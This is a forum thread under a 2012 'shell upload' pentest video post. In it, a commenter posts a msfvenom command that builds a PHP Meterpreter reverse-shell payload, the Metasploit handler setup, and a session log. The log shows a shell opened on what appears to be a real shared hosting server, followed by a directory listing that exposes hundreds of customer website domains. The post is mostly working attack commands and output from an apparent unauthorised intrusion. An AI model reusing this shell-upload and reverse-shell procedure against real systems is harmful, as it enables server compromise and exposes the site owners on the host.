Pentest Remote Server (Shell upload)

October 26, 2012

This time I am going to show you a segment from a security assessment I did recently. It was mostly for practice and also to help out a friend's company to increase his defense. For obvious reasons, the company's name, IP addresses, etc. have all been left out purposefully. Although this wasn't a commercial-grade pentest by professionals -- remember, I'm still just a college student -- I would like to think of myself as successful for pointing out flaws that could lead to full compromise.

Sursa YouTube.

neo.hapsis · October 27, 2012

Multumesc pentru tutorial!

Am folosit urmatoarea comanda pentru crearea shellului php

msfvenom -p php/meterpreter/reverse_tcp LHOST=xxxxxxx LPORT=443 -e php/base64 -f raw > shell.php

Cind le-a creat nu le va executa ca lipseste tagurile <?php si la sfarsit ?>

In rest merge perfect.INCA ODATA MULTUMESC!

msfconsole -n
use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 443
exploit

msf > use exploit/multi/handler
msf  exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf  exploit(handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf  exploit(handler) > set LPORT 443
LPORT => 443
msf  exploit(handler) > exploit

[*] Started reverse handler on 0.0.0.0:443 
[*] Starting the payload handler...
[*] Sending stage (39217 bytes) to 195.234.171.250
[*] Meterpreter session 1 opened (xxxxxx:443 -> 195.234.171.250:50028) at 2012-10-27 17:39:08 +0200

meterpreter > shell

Process 2133 created.

Channel 0 created.

uname -a

Linux lin12.wmghosting.net 2.6.32-220.2.1.el6.centos.plus.x86_64 #1 SMP Thu Dec 22 23:32:31 GMT 2011 x86_64 x86_64 x86_64 GNU/Linux

id

uid=10257(hpfc) gid=505(psacln) groups=505(psacln)

ls -al

total 360
drwxrwxrwx  9 hpfc   psacln  4096 Oct 27 17:33 .
drwxr-xr-x 20 hpfc   psacln  4096 Sep  3  2010 ..
-rw-r--r--  1 hpfc   psacln 68590 Oct 26 22:28 404.php
drwxrwxrwx  2 hpfc   psacln  4096 Mar 10  2010 M_images
-rwxrwxrwx  1 hpfc   psacln  1352 Mar 10  2010 apply_f2.png
-rwxrwxrwx  1 hpfc   psacln  1648 Mar 10  2010 archive_f2.png
-rw-r--r--  1 hpfc   psacln  5741 Mar 31  2010 attrezzatura.jpg
-rwxrwxrwx  1 hpfc   psacln  1620 Mar 10  2010 back_f2.png
drwxrwxrwx  2 hpfc   psacln  4096 Mar 10  2010 banners
-rwxrwxrwx  1 hpfc   psacln   151 Mar 10  2010 blank.png
-rwxrwxrwx  1 hpfc   psacln 65986 Mar 24  2010 bolentino.jpg
-rwxrwxrwx  1 hpfc   psacln   564 Mar 10  2010 cancel.png
-rwxrwxrwx  1 hpfc   psacln  1457 Mar 10  2010 cancel_f2.png
drwxrwxrwx  4 apache apache  4096 Aug 23 09:21 comprofiler
-rwxrwxrwx  1 hpfc   psacln  1776 Mar 10  2010 css_f2.png
-rwxrwxrwx  1 hpfc   psacln  1719 Mar 10  2010 edit_f2.png
drwxr-xr-x  7 apache apache  4096 Apr 13  2010 fbfiles
-rwxrwxrwx  1 hpfc   psacln  1744 Mar 10  2010 html_f2.png
-rwxrwxrwx  1 hpfc   psacln    44 Mar 10  2010 index.html
-rw-r--r--  1 hpfc   psacln  5048 Mar 31  2010 itinerari.jpg
-rwxrwxrwx  1 hpfc   psacln  7200 Mar 10  2010 joomla_logo_black.jpg
-rw-r--r--  1 hpfc   psacln 48566 Apr 19  2010 logo.jpg
-rwxrwxrwx  1 hpfc   psacln   190 Mar 10  2010 menu_divider.png
-rwxrwxrwx  1 hpfc   psacln  1655 Mar 10  2010 new_f2.png
drwxr-xr-x  4 apache apache  4096 Mar 22  2010 phocagallery
-rwxrwxrwx  1 hpfc   psacln  2560 Mar 10  2010 powered_by.png
-rw-r--r--  1 hpfc   psacln  4722 Mar 31  2010 prede.jpg
-rwxrwxrwx  1 hpfc   psacln  1699 Mar 10  2010 preview_f2.png
-rwxrwxrwx  1 hpfc   psacln  1800 Mar 10  2010 publish_f2.png
-rwxrwxrwx  1 hpfc   psacln   698 Mar 10  2010 save.png
-rwxrwxrwx  1 hpfc   psacln  1822 Mar 10  2010 save_f2.png
-rw-r--r--  1 hpfc   psacln  1796 Oct 27 17:33 shell.php
drwxrwxrwx  2 hpfc   psacln  4096 Mar 31  2010 smilies
-rwxrwxrwx  1 hpfc   psacln   202 Mar 10  2010 sort_asc.png
-rwxrwxrwx  1 hpfc   psacln   201 Mar 10  2010 sort_desc.png
drwxrwxrwx  4 hpfc   psacln  4096 Mar 22  2011 stories
-rw-r--r--  1 hpfc   psacln  5138 Mar 31  2010 terminali.jpg
-rwxrwxrwx  1 hpfc   psacln  1525 Mar 10  2010 unarchive_f2.png
-rwxrwxrwx  1 hpfc   psacln  1679 Mar 10  2010 unpublish_f2.png
-rwxrwxrwx  1 hpfc   psacln  1658 Mar 10  2010 upload_f2.png

cd /usr/local/psa/home/vhosts/

ls -al

total 11752
drwxr-xr-x. 370 root root    20480 Oct  9 14:04 .
drwxr-xr-x.   3 root root     4096 Sep 15  2011 ..
-rw-r--r--    1 root root 10485760 Jan 16  2012 .fs_gy9nNH
drwxr-xr-x.   3 root root     4096 Sep 15  2011 .skel
drwxr-xr-x   14 root root     4096 Jan 23  2012 4colori.com
drwxr-xr-x   20 root root     4096 Feb 24  2012 DEROSASRL.NET
drwxr-xr-x   14 root root     4096 Jan 16  2012 acsantambrogio.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 aetheria.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 agescimonteforteirpino1.org
drwxr-xr-x   14 root root     4096 Jan 16  2012 agrecineti.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 agri-world.it
drwxr-xr-x   21 root root     4096 Jan 16  2012 aiisa.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 aiutopsicologico.com
drwxr-xr-x   14 root root     4096 Jan 16  2012 albergosansevero.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 alessandroscasseddu.com
drwxr-xr-x   21 root root     4096 Jan 23  2012 almersrl.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 alzheimersr.it
drwxr-xr-x   21 root root     4096 Jan 16  2012 amgaudenziodelloca.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 andreacostantino.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 angelocastronovo.it
drwxr-xr-x   14 root root     4096 Jun  4 20:32 angeloerrico.com
drwxr-xr-x   14 root root     4096 Jan 16  2012 anticapietra.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 antoniocolonna.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 antoniodambrosio.com
drwxr-xr-x   12 root root     4096 Aug 28 10:53 archicons.com
drwxr-xr-x   12 root root     4096 Aug 28 11:03 archiconsengineering.com
drwxr-xr-x   21 root root     4096 Jan 17  2012 architettoragusa.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 architetturaperilpaesaggio.com
drwxr-xr-x   21 root root     4096 Jan 23  2012 ardoconsulting.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 arenainfortunistica.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 ariavip.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 arnotik.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 arredamentilineaeffe.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 arrischianti.it
drwxr-xr-x   21 root root     4096 Jan 16  2012 arteotticasrl.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 artimedia.org
drwxr-xr-x   21 root root     4096 Jan 16  2012 asgsrl.net
drwxr-xr-x   10 root root     4096 Jan 23  2012 assdontoninobello.caritasavellino.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 assiafotovideo.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 automary.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 autoscuolasciccone.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 avitaia.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 bardellafunivia.com
drwxr-xr-x   14 root root     4096 Jan 16  2012 basilicatalive.net
drwxr-xr-x   14 root root     4096 Jan 16  2012 bassottisperanza.com
drwxr-xr-x   14 root root     4096 Jan 31  2012 baysite.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 bbnapoli.biz
drwxr-xr-x   14 root root     4096 Jan 23  2012 beautystarlux.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 bellablutaormina.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 bia.it
drwxr-xr-x   20 root root     4096 Feb 24  2012 blanco.travel
drwxr-xr-x   10 root root     4096 Jun  4 20:32 blog.angeloerrico.com
drwxr-xr-x   10 root root     4096 Jan 23  2012 blog.formatdental.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 boccadifuocotravel.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 bordercafe.it
drwxr-xr-x   14 root root     4096 Jan 31  2012 bsidestore.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 buttiamocilatini.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 bysala.it
drwxr-xr-x   14 root root     4096 Jan 31  2012 caffemediterraneo.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 caldito.biz
drwxr-xr-x   21 root root     4096 Jan 23  2012 caritasavellino.it
drwxr-xr-x   20 root root     4096 Feb 24  2012 carlottabrusini.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 cavalcalupi.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 cavpinerolo.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 ccbm.it
drwxr-xr-x   10 root root     4096 Jan 23  2012 cdababele.caritasavellino.it
drwxr-xr-x   10 root root     4096 Jan 23  2012 cdazaccheo.caritasavellino.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 cedisweb.it
drwxr-xr-x   12 root root     4096 Aug 31 15:47 cemmusica.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 cerullomoto.com
drwxr-xr-x   20 root root     4096 Feb 24  2012 chezsife.it
drwxr-xr-x   20 root root     4096 Feb 27  2012 chiaroscurosrl.it
drwxr-xr-x.  10 root root     4096 Sep 15  2011 chroot
drwxr-xr-x   14 root root     4096 Jan 23  2012 cittaitaliane.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 claudiofayer.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 clubdellabellezza.com
drwxr-xr-x   14 root root     4096 Jan 16  2012 comesaimpianti.it
drwxr-xr-x   10 root root     4096 Jan 23  2012 confcom.cittaitaliane.com
drwxr-xr-x   21 root root     4096 Jan 30  2012 consorziomose.com
drwxr-xr-x   13 root root     4096 Feb 28  2012 consumatoripuglia.it
drwxr-xr-x   10 root root     4096 Jan 16  2012 contacts.pierremenard.com
drwxr-xr-x   14 root root     4096 Jan 16  2012 coopfly.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 cosmosdistribuzione.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 countryinitaly.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 crearecasa.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 cristinavasile.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 crubaviaggi.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 cucinegiordano.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 cupidopark.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 curge.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 dagrandenonvogliofareilcalciatore.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 danzaorientale.net
drwxr-xr-x   14 root root     4096 Jan 16  2012 davidezampaglione.com
drwxr-xr-x.   5 root root     4096 Nov  1  2011 default
drwxr-xr-x   14 root root     4096 Jan 23  2012 dianadesimone.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 diciottosrl.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 didisrl.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 difalcoservice.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 dimorestorichepuglia.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 dipalmafinearts.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 discocaligola.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 dmimmobiliare.biz
drwxr-xr-x   21 root root     4096 Jan 23  2012 dontb.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 dottorvergata.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 dramsrl.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 driinspot.com
drwxr-xr-x   14 root root     4096 Jan 16  2012 ecogest-risparmio.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 edilfutura.org
drwxr-xr-x   14 root root     4096 Jan 16  2012 edspec.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 elhombredelsaco.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 elitestar.info
drwxr-xr-x   21 root root     4096 Feb 28  2012 elitestar.it
drwxr-xr-x   21 root root     4096 Jan 30  2012 ellonet.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 elvirarovito.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 emanuelalaurenti.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 enzomontanero.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 erossexyshop.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 essenceline.it
drwxr-xr-x   21 root root     4096 Jan 16  2012 essequadro.biz
drwxr-xr-x   14 root root     4096 Jan 23  2012 esteticaunisex.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 ete-italy.com
drwxr-xr-x   14 root root     4096 Jan 16  2012 eurispes.sicilia.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 euroarpet.com
drwxr-xr-x   10 root root     4096 Jan 16  2012 fantacalcio.ninarello.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 fantaverdi.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 fdmultiservice.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 femmineva.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 ferrariauto.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 ferrodarte.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 festasorpresa.it
drwxr-xr-x   14 root root     4096 Jan 31  2012 festivalmediterraneo.net
drwxr-xr-x   21 root root     4096 Jan 23  2012 fiepiemonte.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 foinikos.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 folliemozioni.com
drwxr-xr-x   10 root root     4096 Jan 23  2012 fondazioneopussolidarietatispax.caritasavellino.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 fondazionepidurso.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 foodandcare.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 formatdental.it
drwxr-xr-x   14 root root     4096 Jan 31  2012 francescanobile.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 francescolopes.it
drwxr-xr-x   13 root root     4096 Feb 28  2012 fratelliurciuolo.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 frattervalter.it
drwxr-xr-x.   7 root root     4096 Sep 15  2011 fs
drwxr-xr-x.   2 root root     4096 Sep 15  2011 fs-passwd
drwxr-xr-x   14 root root     4096 Jan 16  2012 gardaeventi.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 gastronomiaecatering.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 gefis.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 gespisrl.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 giannia.net
drwxr-xr-x   14 root root     4096 Jan 16  2012 giessesrl.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 giordangomme.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 giovannimolettieri.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 giovannimunitto.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 giuliaboari.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 glgmaremania.it
drwxr-xr-x   20 root root     4096 Feb 27  2012 glieubeiresidence.it
drwxr-xr-x   21 root root     4096 Jan 16  2012 glutenfreestore.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 gmarreda.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 gmgassociati.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 goldparadiseresort.com
drwxr-xr-x   12 root root     4096 Aug 24 16:31 golpeinaltoadige.com
drwxr-xr-x   21 root root     4096 Jan 16  2012 gprsrl.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 gruppoautomary.it
drwxr-xr-x   14 root root     4096 Jan 16  2012 gruppocomauto.it
drwxr-xr-x   21 root root     4096 Jan 18  2012 gruppogespi.com
drwxr-xr-x   20 root root     4096 Feb 24  2012 gruppogiordano.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 holdingproject.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 hostingeuropeo.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 hotel-circe.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 hotelcirce.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 hotilproibito.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 hpfc.it
drwxr-xr-x   21 root root     4096 Jan 16  2012 ibrcostruzioni.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 idealnoleggio.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 idmcostruzioni.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 idmcostruzioni.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 ielitromobili.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 ihp.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 ilben-essere.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 ilfarodonna.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 ilparadisodelpc.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 ilrifugiodelnonno.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 imaginariafilmfestival.org
drwxr-xr-x   13 root root     4096 Feb 24  2012 imaplast.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 impiantifotovoltaicinapoli.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 incupatrance.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 infabula.it
drwxr-xr-x   14 root root     4096 Jan 23  2012 informania.it
drwxr-xr-x   20 root root     4096 Feb 24  2012 internationalpalchi.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 iperbolecafe.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 irpiniacolor.it
drwxr-xr-x   13 root root     4096 Feb 28  2012 istitutogreengarden.biz
drwxr-xr-x   14 root root     4096 Jan 23  2012 ivisconti.net
drwxr-xr-x   13 root root     4096 Feb 28  2012 jepsondj.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 k2cconsulting.com
drwxr-xr-x   14 root root     4096 Jan 23  2012 kalaonda.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 kukuabeach.it
drwxr-xr-x   12 root root     4096 Aug 24 16:30 labottegadellusato.com
drwxr-xr-x   21 root root     4096 Jan 23  2012 ladisaristorazione.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 lafontedelformaggio.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 latiweb.eu
drwxr-xr-x   14 root root     4096 Jan 17  2012 latorredelsalento.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 laurabove.it
drwxr-xr-x   13 root root     4096 Feb 28  2012 ldbitalia.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 leonessadipuglia.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 lesposedisusy.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 libreriagovi.com
drwxr-xr-x   14 root root     4096 Jan 17  2012 liccumie.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 liltsiracusa.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 logosverbum.com
drwxr-xr-x   21 root root     4096 Jan 30  2012 lorussoimpianti.com
drwxr-xr-x   21 root root     4096 Jan 23  2012 lubrifilter.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 lucadandrea.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 lucapalino.com
drwxr-xr-x   14 root root     4096 Jan 17  2012 lucarelliesega.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 luxartservicesarl.it
drwxr-xr-x   10 root root     4096 Jan 16  2012 madamejulie.giuliaboari.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 magistersound.it
drwxr-xr-x   10 root root     4096 Jan 18  2012 mail.edspec.it
drwxr-xr-x   10 root root     4096 Jan 23  2012 mail.pcalivepec.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 maiortech.com
drwxr-xr-x   10 root root     4096 Jan 16  2012 maison.pierremenard.com
drwxr-xr-x   21 root root     4096 Jan 16  2012 maniacehotel.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 manuelamariani.com
drwxr-xr-x   20 root root     4096 Feb 27  2012 marchionna.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 marcoevalentina.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 marcozaccaria.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 marinesystem.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 matikservice.com
drwxr-xr-x   14 root root     4096 Jan 17  2012 mattinzoli.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 mayner.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 mdm-group.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 mealisa.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 metalmatic.eu
drwxr-xr-x   14 root root     4096 Jan 24  2012 metalmatic.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 metalmaticsrl.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 mikadryanimaetnica.com
drwxr-xr-x   12 root root     4096 Aug 24 16:29 minnitimauro.it
drwxr-xr-x   10 root root     4096 Jan 16  2012 mipiaceviaggiare.unsorriso.eu
drwxr-xr-x   14 root root     4096 Jan 24  2012 mitedivendicari.it
drwxr-xr-x   20 root root     4096 Feb 24  2012 modawebstore.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 moiremusic.it
drwxr-xr-x   21 root root     4096 Jan 24  2012 montecarrubo.com
drwxr-xr-x   21 root root     4096 Jan 16  2012 montecristoforex.com
drwxr-xr-x   21 root root     4096 Jan 23  2012 motoclubduesicilie.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 namaskarcooperativa.it
drwxr-xr-x   21 root root     4096 Jan 16  2012 napeetransport.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 natalissimofiera.it
drwxr-xr-x   14 root root     4096 Jan 31  2012 naturare.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 naturastudio.it
drwxr-xr-x   14 root root     4096 Jan 31  2012 newenergynet.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 nicolacasini.com
drwxr-xr-x   14 root root     4096 Jan 17  2012 ninarello.it
drwxr-xr-x   10 root root     4096 Jan 16  2012 ninarello.ninarello.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 ninocco.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 ninocco.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 njlaya.it
drwxr-xr-x   21 root root     4096 Jan 30  2012 norbasystem.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 notolibera.com
drwxr-xr-x   14 root root     4096 Jan 17  2012 nunziograssia.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 nuovoordinemondiale.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 obp.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 olimpicapompei.com
drwxr-xr-x   14 root root     4096 Jan 31  2012 oralweb.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 origanodelbarone.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 otticamarzano.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 palalive.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 palestragymnika.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 partenioservice.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 partenopeaponteggi.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 passionsex.net
drwxr-xr-x   14 root root     4096 Jan 24  2012 passionsexyshop.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 pastoremarmi.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 pcalive.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 pcalivepec.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 pecgruppogespi.com
drwxr-xr-x   14 root root     4096 Jan 31  2012 pechef.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 perrottabus.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 pianuratravel.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 pierremenard.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 pietredicristallo.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 plasticitalia.it
drwxr-xr-x   20 root root     4096 Feb 27  2012 polarpads.net
drwxr-xr-x   14 root root     4096 Jan 31  2012 polvilladoro.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 portalenapoli.net
drwxr-xr-x   14 root root     4096 Jan 24  2012 pra-ma.com
drwxr-xr-x   21 root root     4096 Jan 23  2012 primaeventi.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 professionalights.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 publi-tech.com
drwxr-xr-x   14 root root     4096 Jan 17  2012 pvolpedesign.com
drwxr-xr-x   20 root root     4096 Feb 24  2012 realsiracusa.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 redibronzo.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 reggimentocarri.org
drwxr-xr-x   21 root root     4096 Jan 23  2012 renautlet.it
drwxr-xr-x   10 root root     4096 Jan 16  2012 revisioni.ninarello.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 ricamatrimoni.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 ricamusic.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 riderstoresrl.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 riparazioniserrande.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 ristorantedelcorso.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 ristorantemustafa.net
drwxr-xr-x   14 root root     4096 Jan 31  2012 rocknroad.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 royalword.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 salaprovenapoli.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 salvatorevasilefotografo.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 salvatricemotta.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 sampaoli.it
drwxr-xr-x   21 root root     4096 Jan 17  2012 sce-group.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 scuoladipesca.net
drwxr-xr-x   14 root root     4096 Jan 24  2012 scuolapresicce.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 sfiziosi.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 sianoottica.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 sintaxbyledilnova.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 siracusanord.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 sirhatour.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 sirma.org
drwxr-xr-x   14 root root     4096 Jan 17  2012 skizzidimare.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 skyfast.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 smfotografo.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 soccorsopediatrico.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 soniafreda.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 sposiintv.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 sscotti.biz
drwxr-xr-x   14 root root     4096 Jan 31  2012 stelladamore.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 streetboard.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 studiobrancati.org
drwxr-xr-x   21 root root     4096 Jan 23  2012 studiocoletta.it
drwxr-xr-x   21 root root     4096 Jan 30  2012 studiocoletta.net
drwxr-xr-x   21 root root     4096 Jan 23  2012 studiocommercialedemarco.it
drwxr-xr-x   21 root root     4096 Jan 23  2012 studiodidonna.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 studioiezza.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 studiolegaleconsiglio.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 studioriccobene.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 studioymproject.net
drwxr-xr-x   14 root root     4096 Jan 24  2012 studiozavarese.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 studiregistrazionecampania.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 studiregistrazionenapoli.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 stuzzicamente.it
drwxr-xr-x   14 root root     4096 Jan 24  2012 suertetour.com
drwxr-xr-x   14 root root     4096 Jan 24  2012 taniservice.com
drwxr-xr-x   14 root root     4096 Jan 17  2012 tarantularubra.it
drwxr-xr-x   14 root root     4096 Jan 31  2012 taurusimmobiliare.it
drwxr-xr-x   14 root root     4096 Jan 17  2012 teatroforsennato.com
drwxr-xr-x   21 root root     4096 Jan 23  2012 tecimpianti.it
